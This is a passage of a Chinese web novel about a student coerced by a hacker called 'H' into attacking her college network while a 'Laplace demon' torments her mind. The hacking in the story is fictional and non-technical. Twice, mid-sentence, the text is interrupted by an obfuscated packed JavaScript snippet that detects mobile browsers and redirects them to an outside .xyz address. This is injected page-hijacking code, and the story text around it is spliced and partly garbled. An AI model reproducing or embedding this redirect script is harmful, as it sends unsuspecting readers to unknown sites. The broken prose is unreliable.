等她气喘吁吁地赶到废弃礼堂，才发现门锁居然敞开着。礼堂里的灯光幽暗摇晃，似是电路不稳定，地面积水一片狼藉。乔伊小心翼翼地迈过门槛，踏进那个她曾与“H”相见的大厅。此刻空荡洞的礼堂中央只站着一个高瘦的人影。她心头一凉：是“H”？还是学院巡逻队？ 那人闻声回头，昏黄光线里露出脸。正是“H”，依旧用黑色衣帽遮住大半面孔，只能依稀看见他嘴唇扯出一道嘲讽弧度：“你来了，倒是挺大胆。”乔伊顾不上害怕，气喘吁吁质问：“你……你对学院网络究竟做了什么？为什么要把我牵扯进来？”“H”轻哼：“我当然要彻底瘫痪他们的二级主机，让他们的防火墙升级计划也化为泡影。至于你——只要稍加手段，你自然而然就成了嫌疑最大的人。你要怪就怪自己当初不听话。” 乔伊瞳孔紧缩，霎时间涌上无尽恐惧与愤怒：“你为什么要这么做？你跟学院究竟有什么深仇大恨？”“H”耸肩，语气平淡得像叙述天气：“原因多着呢。利益、报复、资源垄断……甚至可能还有你想不到的理由。但关键在于，这一切行动非我一人之力，你也早该猜到，我只是前锋。幕后有人在推波助澜，就像操纵棋子的手，现在只差最后一步——把你这个关键棋子逼到极端，让学院自乱阵脚。” 礼堂门外又是一阵电闪雷鸣，如同大自然在发泄怒火。乔伊胸腔涨满复杂情绪：“我不会再帮你们。你们休想逼我毁掉学院！”“H”失笑：“你不再帮，也已经帮了。你数次潜入机房、伪造文档、链接外接设备，早就留下足够多的痕迹。就算你此刻撇清关系，也洗不干净。除非你找到更强大的后盾，来替你推翻所有证据。可惜，你并没有。” 乔伊几乎被逼得词穷，只觉嗓子干涩，像要冒火。她忽然想起电脑还在包里，如果能在礼堂接上某条隐蔽线路，也许还能稍作阻拦，可“H”看出她的意图，冷哼一声：“别费劲了，这里早就断电断网。你没机会阻拦我布下的程序。”言语间，他往后退了一步，看样子要离开：“欣赏你的表情很愉快，但我的戏码还没结束。最后给你个忠告：趁现在快逃，别等学院的人赶来，你可就真脱不了干系了。” 说罢，他竟毫不留恋地闪进侧门那片更深的黑暗里。乔伊心跳仍在加速，她握紧背包拉链，一时间无处宣泄的恨意与懊悔同时涌上心头——自己若当初不跟这个魔鬼合作，也许就不会落到这步田地。可后悔已无济于事。她抬头看向礼堂外深沉夜色，想立刻冲去保卫处或找学姐自首。但拉普拉斯妖的声音又在耳边诡异响起：“你真的打算就这样束手就擒？学姐会帮你摆平一切吗？还是你认为学院会因为你的一句悔过就轻易放了你？” 乔伊咬破嘴唇，血有点腥甜。她恶狠狠地回应：“至少我得试试。我无法再给你当奴隶，或者说……我想摆脱你。”拉普拉斯妖在她脑海里嗤笑：“那要看你有没有这个命。” 乔伊没有回话，她拽紧包带转身朝礼堂外冲去。雨势依旧不减，周围能见度很差。她强撑着大腿肌肉的酸痛，拼命跑向图书馆的方向——她忽然想到，学姐今晚说会去图书馆等她，如果那边还有应急电源，或许能先查清“H”的攻击路径，至少试着把证据捏在自己手中，证明那些最恶劣的攻击并非她所为。 一路奔跑间，她摔了好几跤，裤脚溅得泥水斑驳。图书馆外果然亮着微弱灯火，里面还有值班老师和几位熬夜看书的研究生。乔伊艰难地推门而入，一股温暖的空气扑面而来，让她差点想哭。踏进门没多久，她就听见一个熟悉声音传来：“乔伊，你怎么……”是学姐。她果然还在等。 学姐察觉乔伊狼狈模样，忙把她扶到一处安静的角落，拿纸巾给她擦脸：“你这是怎么了？外面风雨这么大，你为什么还要出来？”乔伊气息紊乱，一言不发地从背包里掏出电脑。学姐见她神色凝重，也不追问，只是在她身边坐下，伸手轻抚她的背示意别慌。 乔伊缓了好一会儿，才把刚刚发生的事切切断断说了几句：“学院……大规模的网络瘫痪，跟那个人有关，他想嫁祸给我。他……是一伙势力的前锋。”她略去拉普拉斯妖部分，只说了“H”对自己的威逼利诱以及此刻发动攻击的事实。学姐听得脸色发白。她不是没想过乔伊被某种势力胁迫，但这个真相依然令她震惊。 “你别怕，我会想办法帮你。”学姐压低声音安抚她，然后立刻拿出手机想联系顾子衿和校方老师，却发现信号极不稳定，看来那场攻击波及了通讯模块。无奈之下，她只能先陪乔伊打开图书馆内网应急通道，用馆内服务器去尝试追踪或阻止那段恶意代码。 可惜仅仅几分钟后，电脑屏幕就弹出各种警示，表示图书馆服务器权限不足，并且外接节点遭受阻断。这意味着“H”早就设下屏蔽，让无权账号根本无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013885|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越级“善后”。乔伊的技术虽不错，但在这短时间内想突破层层加密，几乎如同登天。学姐轻咬嘴唇，将目光转向乔伊：“你有没有更深的权限？或者你当时……留过什么后门？”乔伊犹豫数秒：“我曾在学院系统里留下一个权限漏洞，原本是为了自保……”话说到这里，她眼中闪过愧疚。毕竟这一切也与自己有脱不开的干系。学姐没有多怪，只握住乔伊的手，沉声说：“那就试试吧。” 乔伊点头，双手拍了拍脸颊，迫使自己冷静，然后飞快地输入那串漏洞位置的访问路径。越过几层加密，她渐渐进入了学院防火墙的底层选项，一连串系统日志滚动着，黑底白字，晃得人眼花。学姐和乔伊屏息凝神，终于在一处节点发现了异常流量入口。乔伊激动得心脏加速：“就是这里！把它堵上，也许能拖延对方的破坏进度，留下可查证据。” 她随即开启修复程序，试图终止H的攻击模块。时间一分一秒流逝，电脑风扇呼啸不断。然而进度刚过半，就弹出一个让人心惊的红色警告：当前用户（JOI_xxx）被列入系统黑名单，访问强行中断。乔伊呆在那里：“我……被封禁了？”学姐攥紧拳头：“对方先一步把你列为最高危险等级。难道是顾子衿他们的手笔？还是保卫处直接封了你的账号？” 乔伊一时语塞，叹息中带着绝望：“或许……他们已经认定我是罪魁祸首，所以干脆把我踢了出去。”学姐缓缓吸气，内心痛惜地看着乔伊：“别灰心。我们可以去找顾子衿，当面解释。虽然现在通讯不畅，至少可以赶到他的办公室。”乔伊看着窗外愈演愈烈的风雨，心里也清楚，眼下这种局面只剩硬着头皮找官方和盘托出了。否则，“H”的计划一旦完成，自己将永远被钉在黑客之名的耻辱柱上。 就这样，学姐与乔伊合上电脑，准备冒雨离开图书馆，去找顾子衿。但她们才走到图书馆门口，就骤然听见警报声大作，仿佛宿舍区或办公大楼那里发生了突发事件。红色警示灯在雨雾中无比刺眼，不远处还传来零零散散的惊叫：“有人闯进机房了！”学姐脸色一变：“难道是H在搞鬼？或许顾子衿他们也在那里。” 乔伊脑海中“轰”地一声，她拽紧学姐的手：“快，过去看看！”两人不假思索，全然忘记身后惊愕的目光，一口气冲进雨夜。豆大的雨点砸在发梢面颊，打得生疼，可她们顾不上。一路小跑到机房所在的大楼走廊，那里的安防已经被触发，警报声让人头皮发麻。几名保卫人员和顾子衿的团队正交头接耳，似乎准备进内搜捕。乔伊把帽檐压低，暗暗躲在学姐身后，不敢冒然上前。 学姐见到顾子衿，急得上前低声喊：“出什么事了？”顾子衿抬头看见是学姐，松了口气：“机房里的服务器被彻底入侵，现在系统高速运转，眼看就要烧坏硬件。还有人报告说看到可疑黑影，可能就是那个黑客……”他话音尚未落下，一道黑影恰在走廊另一头闪过，利落地翻窗消失在夜色中。众人惊呼：“那边！”可一冲过去，人却早跑得无影无踪。 学姐和顾子衿对视一眼，双双陷入迟疑：刚才那身影并非乔伊，那会是谁？保卫处人员纷纷涌进机房查看情况。顾子衿忽然想起什么，问道：“对了，乔伊……”学姐神色闪过片刻犹豫，赶紧把乔伊拽到一侧，柔声说：“别怕，告诉他真相。顾子衿不会害你。”乔伊心脏提到嗓子眼，环顾四周保卫员和技术组都在忙没空理会，她才咬牙把自己近来遭遇的种种——简化了拉普拉斯妖的部分说法，却详细讲了“H”如何逼迫她攻击系统、并打算借此嫁祸自己。顾子衿越听眉头皱得越紧，眼里既震惊又心疼：“你怎么能不和我们说呢？” 乔伊颤抖回答：“我……我真怕牵连学姐和你们，事情发展得失控。不知不觉就……被逼到这种境地。”顾子衿缓缓吸了口气，强自冷静下来：“好，至少你没走到最极端。既然如此，那就让我来帮你，咱们要先把服务器里的恶意程序停止，留住关键操作日志，别给‘H’撇清的机会。”乔伊用力点头。三人对看一眼，在顾子衿的指引下偷偷绕过保卫处人手，从另一条小道进入机房后门。 机房里一片焦灼。风扇嗡鸣，数台服务器温度飙升，好似一场数据风暴正在核心区域肆虐。乔伊和顾子衿一起钻进排布杂乱的主机阵列，学姐在外面警惕把风。顾子衿熟练地调用管理员密钥，乔伊立刻用自己的命令行介入，尽力搜索那致命代码所在。随着屏幕上几百个进程滚动，乔伊的指尖冷汗津津，却不敢停顿。她知道这也许是她最后一次洗清嫌疑的机会。 突然，她的电脑屏幕闪过“H”留下的一个脚本注释：让乔伊看了简直灵魂颤动。那注释里分明写着：“只要执行到line314，乔伊·X就是终极背锅人，别无生路。”乔伊灵魂像被锤了一下，她看向顾子衿：“这……就是他嫁祸给我的证据！”顾子衿双眼透出寒意：“太过分了，他就是故意利用你的所有行动轨迹。”说罢，他噼里啪啦一阵操作，强行导出这段注释，也截图记录在本地日志里。然后乔伊飞快输入终止命令，阻挠程序继续扩散。两人配合默契，大约几分钟后，机房里那几台服务器的运转指示灯终于缓缓减速，蜂鸣声渐渐平息。乔伊几乎瘫软在地，大口喘气：“成功了吗？” 外面保卫人员闻讯赶来，第一波人冲到机房内，看见地上坐着个穿连帽衫的女孩，不由得齐齐瞪眼：“你是……”顾子衿赶紧站起来挡在乔伊面前，对他们解释：“别误会，她就是帮忙制止攻击的人。她虽然一度被黑客引诱，但并非罪魁祸首，有证据可以证明这一切都是另有人在幕后操控。”保卫人员半信半疑，目光在乔伊与顾子衿之间徘徊。学姐也及时赶进来，坚定地附和：“是的，若没有乔伊刚才破除程序，后果不堪设想。” 场面一度陷入紧张对峙，直到顾子衿把那段记录和注释调出来，让保卫处同事们亲眼看见“H”蓄意设计的“替罪羊”脚本，保卫队长才勉强收下备份，语气稍缓：“先带她回去笔录，然后再作进一步调查。你们最好给出完整解释。”乔伊没再多说，顺从地站起来，心里却像卸下一块大石。在学姐和顾子衿的注视下，她微微垂下头，暗暗想：或许，她终于看到了微弱的救赎曙光。 可君子不立危墙之下，形势仍然危机四伏——机房外那道门口还闪烁着不安的警示灯；谁也不知道“H”和他背后的势力还会不会有更猛烈的反扑；更不确定学院高层是否会完全相信乔伊的“被逼”说法。拉普拉斯妖也绝不会善罢甘休。她心里隐隐明白，这宛如一场苦难的开端，眼前仅是第一步改变。 走出机房那一刻，外面雨势仍然凶猛。乔伊仰头看向乌云密布的夜空。一道白炽闪电划过天际，如同刀痕般撕裂黑幕，却转瞬即逝，留给人们更深的暗夜与茫然。她轻吸口气，对学姐和顾子衿露出一个复杂的笑：“接下来，要拜托你们了。” 学姐在雨声中握住她的手，用力点头：“我们一起面对。”顾子衿也将伞向乔伊那边倾斜：“放心，我们不会让你一个人承担。”他们在满天风雨里相互依偎。远远的走廊另一端，却宛如有某个影子静静注视，然后无声退去。 （本章完） 电闪雷鸣中，这焦灼的一夜拉下帷幕，然而更大的危机或许只是刚刚揭幕。H的“幕后力量”尚未显形，学院是否会坚定站在乔伊一边都难下定论；拉普拉斯妖依旧潜伏在乔伊精神之海，新一轮心灵攻防随时可能爆发。待到雨声停息，黎明是否真能迎来光明？ 13. 破晓前的耳语 乔伊从未想过，自己会在这样的场合想起儿时那段时常吞没她梦境的“极暗记忆”。当保卫处的调查人员示意她就坐，将一连串与“黑客攻击”相关的问题冷冰冰抛到面前时，乔伊的脑海里似乎又浮现了那只曾将她拉入深渊的声音——那被称作“拉普拉斯妖”的低语。它似笑非笑地在她脑中说：“你以为对现实退一步就能脱身，可你瞧，命运不会放过你。” 大学行政楼二层的小会客厅里，空调让空气显得沉闷。坐在乔伊对面的是两名保卫处干事，一个唇角有道浅淡刀疤，另一个脸庞宽阔、神色不苟言笑。与他们同在的还有顾子衿和一位技术部老师，后者正在调试手提电脑，看上去要核对乔伊先前录下的陈述。 顾子衿对乔伊投来关切的目光，但碍于在场其他人不便开口。乔伊回了他一个勉强的微笑，然后咽下口中干涩，开始回答那串重复无数次的问题：是谁指使她在系统里留下后门代码，为何选择在机房夜半潜入操作，以及H到底是何方神圣。他们的问话始终围绕“动机”与“共犯”展开。 乔伊的回答依旧如之前递交的解释，除了“拉普拉斯妖”与自己精神纠葛的部分被她刻意删减。她很清楚，如果她说出有关“拉普拉斯妖”的经历，那等同于承认自己神智不稳；退一步讲，就算学院相信，恐怕也会将她送去精神鉴定。她现在只想着先度过这场疑云重重的调查，再找机会查清“H”与那股神秘势力的真正目的。 刀疤干事翻了翻笔记，语带不置可否：“据我们掌握的情况，你确实是关键人，否则也不会轻易闯过学院防火墙。你说是被逼迫，可究竟谁有这种能耐、又为何偏偏选你，小姑娘，你得帮我们把话说得更明白。” 乔伊攥紧衣袖。她倒也不是不想说，而是根本不清楚“H”背后隐藏的势力是谁。她只知道对方似乎有更大目标，而自己只不过是颗随时可替换的棋子。一想到此，她胸口就像压了块铅，再次感到深切的无力感。 顾子衿见状，试图打破僵局：“我这里留有那几段程序的对比分析，能证明乔伊是事后发现脚本异常，才临时修改加密算法来阻断攻击。她在关键时刻并没有执行最终毁灭性指令，这说明她本意并非提早预谋。况且，从终止脚本那刻起，她冒了极大风险，这一点我能作证。” 刀疤干事哼了一声，似乎不太相信：“你倒是挺护犊子。行，咱们也不急于给她定罪，只是希望她能提供更多线索。毕竟对方既然能绕过学院服务器，显然还有内应或同伙。我们怀疑学院里有暗线。” 乔伊一颤：学院内部有人勾结“H”？她记起那天夜里“H”曾提到所谓“幕后司机”，他不过是替人冲锋陷阵。难道麦克风另一端真的站着某个学院高层……念及此，她后背发凉。那名干事见她神情异样，似乎误以为她不想配合，便合上笔记本，语气放缓却带着警示：“你先回去，别随意走动，我们随时可能再传唤你。顾子衿，你看好她。” 乔伊与顾子衿离开会议室时，一路沉默。直到转过走廊尽头，顾子衿才低声开口：“他们的态度并不算最坏，至少肯给你申述机会。只要找出点实证，确认你只是被利用，就还有转圜。” 乔伊轻轻点头，却难掩忧虑：“只是我怕‘H’那帮人会铤而走险，再度栽赃我。到那时真相未必能及时被还原。”顾子衿沉吟片刻：“学姐那边也在查点线索，你可能不知道，她已经找过学院另一位严教授，试图获得更多内部信息。或许过两日就能有些眉目。” 提到学姐，乔伊心中忽而升起一丝暖意。她回想起昨夜在图书馆廊道里，学姐紧握自己手腕时，那种毫不犹豫的支持让她感到世界并非全然冰冷。可她也想到自己正深陷危局：拉普拉斯妖的精神纠缠依旧未解，而“H”随时会出暗招。她一边迈步往楼下走，一边在心里挣扎。最终，她没有把深层焦虑告诉顾子衿，只说：“我会继续配合，你放心。” 离开行政楼后，两人分道扬镳。乔伊回到宿舍区时，正巧林忻抱着个新买的雨伞从超市返程，远远看见乔伊便大声招呼：“算你运气好，今天又下雨了，正好我也带了伞。”乔伊勉强笑笑，却无法像往常那样轻松地去接过伞柄。林忻察觉到她情绪低落，追问：“怎么，每次看你都是这副疲惫样子？到底又发生什么事？” 乔伊慢慢抬头，看着和自己同宿舍的好友，那种委屈和恐慌几乎要夺眶而出。可她硬是忍住，只苦笑道：“没什么，只是调查还没结束，我怕继续麻烦你们。”林忻一脸心疼，却也不知如何插手，只能把伞塞给乔伊，柔声说：“无论怎样，回来后先歇一歇吧。” 回到宿舍，乔伊洗了把脸，盯着镜子里那张有些苍白的面容。她突然听到脑海里传出一丝刺耳的讥笑：“可怜，又一次试图独自面对？你就不怕众叛亲离？”一瞬间，她看见镜中自己的瞳孔仿佛被替换成另一双幽暗眼睛，那里隐约闪动着拉普拉斯妖的影子。她猛地捏紧洗手台，让自己稳住心神，小声嘟囔：“你该闭嘴了。” 拉普拉斯妖的嗓音却在她脑海里回荡：“你的命运走到这里，还想天真地逃脱？我只是在想，你为什么如此执拗？”乔伊胸腔钝痛，她忽然想：若自己彻底放弃对抗，让拉普拉斯妖接管一切，也许就不会再有恐惧。但随后她又狠狠摇头。她不能放弃，她也不能让“H”闲庭信步地继续祸害整个学院。 这时，手机短促震动把她拉回现实。是一条匿名短信：“今夜十一点，综合楼小顶见。一锤定音，否则别怪我翻脸不认人。” 落款正是“H”。乔伊瞳孔骤缩，心脏跳得几乎要破开胸膛。对方约她在综合楼的小顶层？那本是学院摆放废旧设备、空着不常使用极少有人去的地方。“H”要干什么？想在彻底撕破脸之前，给她最后一次选择？ 乔伊把手机扔到枕头上，双手捂住脸深呼吸。这一切仿佛一出无法停歇的漩涡。她想给学姐打电话，却怕暴露行踪；她又怕如果无人知晓，自己半夜和“H”见面，会不会被对方就地控制、任人摆布。可若不去，对方极可能继续抹黑她，或干脆伪造更可怕的证据。 这种焦虑整整伴随她到日落。夜幕降临后，林忻也下了晚自习。乔伊看着林忻收拾东西准备熄灯，心里忍不住挣扎要不要留下只言片语。但最终，她还是让林忻睡下，自己则坐在桌前，望着窗外灰蒙蒙的天色发呆。宿舍外的路灯昏黄，头顶云层翻滚，像是一场暴雨即将到来，却迟迟没有落下。 快到十一点时，乔伊下意识站起身，从抽屉里翻出那把备用钥匙与手机，轻手轻脚走出宿舍。夜风很大，带着潮湿的寒意。她没带伞，只穿了件外套，迎着呼呼作响的风一路小跑到综合楼后门。那里果然万籁俱寂。一盏应急走廊灯在二楼闪烁，微弱光线把楼梯投在地上，宛如扭曲的鬼影。 乔伊小心翼翼地上了六楼，随即沿着一条狭窄铁梯攀到天台小顶处。隐约能看见一些废旧桌椅堆叠。她试着唤了声“有人吗？”回荡在空荡夜色。隔了几秒，一道黑影从角落显现。对方头戴连帽衫，面部仍半隐于黑暗，乔伊一看便知是“H”的装扮。 “H”发出低沉笑声：“胆子还挺大，真的来了？”乔伊神经紧绷，捏着手机：“你又想怎样？我已经向保卫处提供过关键线索，也许再过不久就能证明被你胁迫。”她强装镇定，实则内心一片慌乱。 “H”毫不在意地耸耸肩：“只要我手里还掌握学院高层的黑料，外加你此前动过的操作记录，你就永远逃不出嫌疑圈。人家顶多把你当个良心发现的罪犯，而不会真正让你全身而退。”雨点渐渐落下，滴在堆放的桌椅上发出细碎声响。乔伊听到“H”这番话，感到无边灰暗。 她咬紧下唇，声音艰涩：“这么说，你就是想逼我继续替你做事？”“H”挑眉：“我们背后可还有更大的项???需要你这只‘先锋’。你已经在系统内打下的关键后门，足以助我们撬开更隐蔽的数据库。若你帮忙获取其中某些机密文件，咱们互利共赢。学院非但不会拿你怎样，或许你还能分到不少利益。” 乔伊冷笑：“放弃吧，我不会再干这种勾当！”“H”叹息般摇头：“我劝你别这么坚定。想象一下，一旦学院公开你所有操作细节，你在社会上还怎么立足？别傻了，乔伊，你不过是只逃不出掌心的棋子。”他似乎不想耗太久，语气里满是催迫。 狂风吹得乔伊几乎睁不开眼，只觉得呼吸困难。或许是绝望到极点，她反倒稳定下来。“不管你怎么威胁，要我继续为虎作伥就是不可能。”说这话时，她忽然想起顾子衿、学姐，还有林忻，想起那些无论风雨都试图拉她一把的人们。她意识到一旦真正放弃抵抗，那些人只会更陷于险境。 “H”似乎对她的坚决很不满意，他原本还有耐心，此刻却露出狠厉神情：“你可别后悔。我原本以为能给你最后一次机会，看样子你执迷不悟。”他摘下连帽，露出一张轮廓分明却满含嘲弄的脸，正是她在礼堂匆匆看过的面目。只是今夜灯火昏暗，看不清太多细节。 乔伊听到头顶雷声炸起，惊得心头一震。下一刻，“H”抬脚向门口走去，边走边扔下一句：“记住，我随时可以毁了你。如果你改主意，来这里——”他把一张折叠小纸片扔在地上，然后快步消失在黑夜雨幕之中。 乔伊呆立原地，缓了好几秒才扑过去捡起那纸片。夜风凄厉，她展开纸片，上面写着一个地址和一个怪异符号，看上去像是某处校外仓库的坐标。她明白，“H”这是逼她走投无路时再投入其麾下。闪电再次撕裂夜空，轰鸣声中乔伊浑身湿冷。她慢慢攥紧纸片，却感觉自己心底也被某种阴影撕开了一道裂缝。 挣扎许久，她还是决定不能让“H”的要挟轻易得逞。她冒雨匆匆离开小顶。下到一楼时，迎面撞上一道熟悉的身影。她心下一惊，发现竟是学姐打着伞，满脸焦急地看着她：“你怎么会在这里？”乔伊怔住：“学姐……你怎么知道我……” 学姐咬牙道：“我去宿舍找你，林忻说你不见人影。我猜你可能又被‘H’约见，就一路找到了这里。”她看着乔伊几乎湿透的衣衫，满是心疼，“你别再一个人承担。” 乔伊眼泪差点掉下来，多少日子的煎熬，在这一刻化为无言脆弱。她努力稳住嗓音：“他又来威胁我了。劝我再为他们做事。”学姐不由分说将伞举到乔伊头顶：“傻瓜，走吧，回去先换衣服。” 雨声淹没了两人脚步。一路上学姐几度欲言又止，最后还是低声说：“对了，顾子衿那边有进展。我们基本能确定，学院内部确实有人暗中与‘H’勾连。等证据再明确些，你就能洗清嫌疑。” 乔伊心头一喜，却仍旧苦涩：“若想彻底扳倒他们，恐怕我也得提供更多信息。”学姐轻轻拍了拍她肩膀：“不用急。你先别再拿自己去冒险。现在学院保卫处监控得很紧，‘H’再有什么小动作也会露出马脚。” 话虽如此，乔伊仍旧清楚，真正的风暴尚未到来。“H”已经在暗处布局良久，而所谓的“幕后力量”或许早就盘踞学院内部。她和学姐在这场博弈中，充其量只能算是有限度的反击者。更何况，自己脑海里的那只拉普拉斯妖还在不时嘲讽，时不时给她抛来仿佛预见未来的冷酷画面。 回到宿舍楼下，学姐执意看着乔伊进门才离开。乔伊匆匆返屋，把湿透的衣服丢进洗衣篮。林忻已经睡下，呼吸均匀。乔伊感激不已，轻手轻脚端了杯热水坐到床沿。这时她才想起放在口袋里的纸片，赶忙取出展开，瞳孔蓦地一缩，只见那手写符号似乎隐约带着拉普拉斯妖常出现的某种“∞”样记号。难道这只是巧合？还是意味着“H”的背后是与拉普拉斯妖同源的势力？ 她思绪纷飞，直到夜深才勉强睡去。期间，她做了个可怕的梦：自己在茫茫数据海中，耳边回荡拉普拉斯妖的冷笑，然后一双冰凉的手攥住她的肩膀，不由分说把她推进无底深渊。她尖叫惊醒，满额汗水。恍惚中，她仿佛看到对床的林忻轻轻翻身，却并未醒来。 第二天，乔伊顶着黑眼圈去上课。课上她心不在焉，下课铃一响就收拾好书想溜，却被教室门口的顾子衿叫住：“乔伊，你有空吗？”她回头，只见顾子衿拎了个资料袋，一脸慎重：“我这边查到一点东西，你绝对需要知道。” 两人一前一后步出教学楼，来到一处安静的花坛边。顾子衿四下张望，确定没人，才低声道：“你知道‘拉普拉斯’这个代号吗？我在学院旧档案里看到过，有关某个实验项目的记录，但大半被涂黑，仅剩几个词：‘意识干预’、‘高维模拟’之类的。学姐觉得这跟你经常提到的某种…不寻常存在可能有联系。”乔伊被这番话惊得险些握不住书本。她一瞬间想起拉普拉斯妖那魔音般的言语：“这不是我编造的吗？难道真的存在某个项目在研究、甚至试图制造这样的意识干预？” 顾子衿叹了口气：“别急，我们还在继续搜集中。我只是想提醒你，如果确有其事，那就意味着学院内部某些人早就知道类似的‘拉普拉斯’程序或项目在运行，也许还在利用学生做实验……”他没再说下去，但乔伊已然明白话外之意：自己和拉普拉斯妖的缠绕，或许正是某个极秘密研究在冥冥之中酝酿的副产品。 这一瞬，乔伊腹中升腾起一阵反胃感。她不敢想象，如果拉普拉斯妖不只是她个人的“奇幻错觉”，而是某个冷血项目的产物……那她又该如何辨别自我与外力之间的真实边界？“H”又在这其中扮演什么角色？为什么要大费周章破坏学院网络？ 她木然立在花坛边，风吹起她额前碎发，飘进眼底的阳光也显得刺痛。顾子衿拍了拍她肩，安抚：“学姐建议今晚找机会跟你仔细谈谈。你要是没课，就去图书馆高层找她。她似乎另有重要发现。” 乔伊脑中乱成一团，但还是勉强答应：“好，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013886|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会去。”目送顾子衿走远后，她心潮难平。要不要把“H”昨晚留下的地址告诉他们？还是先去现场探个确凿？她转念一想，自己再鲁莽行动未必安全，还可能打草惊蛇。或许还是先跟学姐和顾子衿把情况全盘托出，再合力商量对策。 拖着沉重心思熬到晚上，乔伊在自习后悄悄前往图书馆顶层。学姐比她先到，坐在灯光昏黄的长桌前，面前摊开几份老旧文件，神色沉凝。乔伊走过去，小声问：“你找到了什么？” 学姐抬头，眉宇间尽是忧虑，伸手指向其中几行字：“你自己看。”乔伊凑近一瞧，只见那行字隐隐约约写着：“拉普拉斯干预——目标：激发潜在算力，监测深度脑波……样本代号JOI-……”，后面部分被涂改几乎无法辨读，但前后恰巧有个“Y”的痕迹。乔伊愣住：“JOI…Y？这跟我的名字仅差一字母拼写，这不会是巧合吧？”她大脑轰鸣，黑暗恐惧再次翻涌。 学姐轻轻握住乔伊的手，传递温暖：“你要做好心理准备，也许你比自己想象中更早就卷入某场秘密实验。难怪你有时能‘感应’到极端程序或先进算法，大概与此脱不开关系。”乔伊喉咙发涩。她忽然想起苗头：拉普拉斯妖经常在她脑中出现，也许是潜意识里某种‘深度脑波链接’？若真如此，这世界比她以为的还要疯狂。 窗外夜幕低垂，图书馆顶层寂静得只听见空调运转嗡鸣。学姐继续道：“我猜测，‘H’要摧毁学院网络，并不单纯是报复或利益，而是为夺某些机密资料。更重要的是，他们可能想把你当钥匙——你脑中存在某种与拉普拉斯计划匹配的‘通道’。如果他们要对你下手，就绝不会轻易放弃。” 乔伊心脏越跳越快，她咬住唇：“我该怎么办？根本摆脱不了吗？”学姐却没有直接回答，只是轻声道：“你还有我们。无论结果如何，我们也要争取让你走出那段苦难。” 这无疑给了乔伊一点力量，她把昨晚“H”留下地址的事也告诉学姐，双方决定先把线索提供给顾子衿，再由顾子衿依托技术部老师的身份，与保卫处联手布控。或许下一回“H”再行动时，就能一网打尽。 当两人轻声讨论完毕，图书馆广播提示即将闭馆。学姐收好文件，正准备跟乔伊一起下楼，岂料楼梯口传来“咣当”一声巨响，随即便是一片黑暗——整个图书馆顶层电源像是被瞬间切断！乔伊心跳几乎停止。她听见学姐在黑暗中叫她的名字：“别慌，我在这儿。”紧接着，走廊里有什么人影晃动、脚步急促，仿佛有人趁熄灯之机在楼梯间疾走。 乔伊当机立断拉着学姐往另一条小通道躲。她脑中第一个念头：难道“H”先下手？可这几乎没有道理，对方怎会明确知道她们在此？一束手电光猛地扫过，照得破旧地毯上尘埃飞散。乔伊暗暗屏息，心里仿佛揣了只闯祸的小鹿。学姐轻握住她的手腕，示意不要出声。 那束灯晃来晃去，好一会儿才渐渐远去。却在通道深处留下阴暗寂静，让人无处遁形。乔伊悄悄探头，想确认那人的去向。就在此时，黑暗中突然闪现一个模糊身影，近在咫尺。乔伊和学姐几乎以为自己已经暴露，却见对方并未发出任何攻击指令，只是低喊：“学姐？乔伊？是你们吗？” 这声音听来耳熟。灯光重新闪烁几下后，乔伊看清说话者——居然是顾子衿。他同样显得慌张，手里还拿着一把简易手电。学姐见是他，绷紧的神经才略微松弛：“你怎么也在这里？”顾子衿四下张望，语速很快：“保卫处刚刚探测到通往图书馆顶层的主干交换机被人强行断开，我赶紧过来查看。没想到电源也被切了。你们没事吧？” 乔伊还没回答，楼梯口忽又响起一阵骚动，伴随有人怒吼：“谁在那儿？站住！”看样子保卫处的人也已赶来。三人对视一眼，急切地想把这状况解释清楚。可是还来不及走近，电源竟又突兀地重新恢复，楼道灯火通明。众人眼睛尚未适应刺目的光线，就见走廊另一头出现了一群人影，其中一个正是刀疤干事。刀疤干事看到乔伊，冷着脸大步而来，质问：“你们又在搞什么鬼？值班老师说顶层监控被关，你们躲在暗处准备什么？” 乔伊一时语塞。顾子衿忙将手电收起，对刀疤干事解释：“刚才电源断了，我上来查看，正好碰见她们，想必她们只是被困。”刀疤干事不信：“说得轻巧，哪有这么多巧合？也不排除你们早就串通想破坏监控。” 眼看场面又要剑拔弩张，学姐冷静拦在前：“请先查明是谁切断电源。我们可没有机会动手，至少你把监控恢复，看看是谁先触发了线路！”刀疤干事见学姐说得笃定，也哑口少时，这才扬手让技术人员去调取恢复的影像。剩下一队保卫处队员围拢过来，盯着乔伊等人。 乔伊心里说不出是什么滋味，仿佛无形枷锁再度扣到她身上。她握着学姐的手，努力让自己不慌乱。几分钟后，技术人员眉头紧锁，过来通报：“奇怪，监控画面都被强行抹去，只剩下最后一秒……看到一个穿连帽衫的人影划过镜头。”这几乎又直指“H”，让乔伊心头一跳。难道“H”已经知道她与学姐共谋？ 刀疤干事闻言脸色变幻不定，阴沉沉地盯着乔伊：“上次也有个连帽衫，你可别告诉我又是那个所谓神秘人。到底是你们在造假，还是确有其事？”这话说得乔伊无从辩驳，只好默默咬住下唇，一旁顾子衿想解释，但也不知如何才能让对方彻底信服。 最终，刀疤干事也只得留下几名队员在图书馆排查，领着技术人员离去，临走时不忘冷声警告：“我会再找你们了解详情。最好别让我抓到任何违法证据。” 